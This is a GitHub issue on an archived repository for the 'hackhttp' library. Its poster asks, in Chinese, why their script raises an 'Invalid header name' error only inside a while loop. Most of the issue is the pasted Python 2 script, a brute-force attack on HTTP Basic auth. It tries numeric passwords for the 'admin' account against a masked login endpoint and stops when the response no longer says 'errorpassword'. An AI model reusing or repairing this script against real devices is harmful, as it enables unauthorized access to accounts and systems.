Skip to content
This repository has been archived by the owner on Mar 22, 2021. It is now read-only.

ValueError: Invalid header name ' Host' #13

Open
heascle opened this issue Sep 7, 2017 · 0 comments
Open

ValueError: Invalid header name ' Host' #13

heascle opened this issue Sep 7, 2017 · 0 comments

Comments

@heascle
Copy link

heascle commented Sep 7, 2017

import hackhttp
from base64 import b64encode
init = 100000
while True:
    pwd = ''
    pwd = b64encode('%d'%init)
    hh = hackhttp.hackhttp()
    raw = '''
    GET /****/userCheck HTTP/1.1
    Host:*******
    User-Agent: *****
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    If-Modified-Since: 0
    Authorization: Basic YWRtaW46%s
    X-Requested-With: XMLHttpRequest
    Referer: http://*****/login.asp
    Cookie: language=zh
    Connection: close
    '''%(pwd)
    code, head, html, redirect, log = hh.http('http://******/userCheck', raw=raw)

    print code
    #print `html`

    import re
    pattern = re.compile(r'.*?ing>(.*?)</.*?')
    result = re.findall(pattern,html)[0]
    if result != 'errorpassword':
        print '[+]Get Password.'
        exit(0)
    else:
        print init
    init+=1

一些地方打码了。。

代码放在 while 循环里面就报错,把while循环去掉就不会,不知道为什么?

image

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant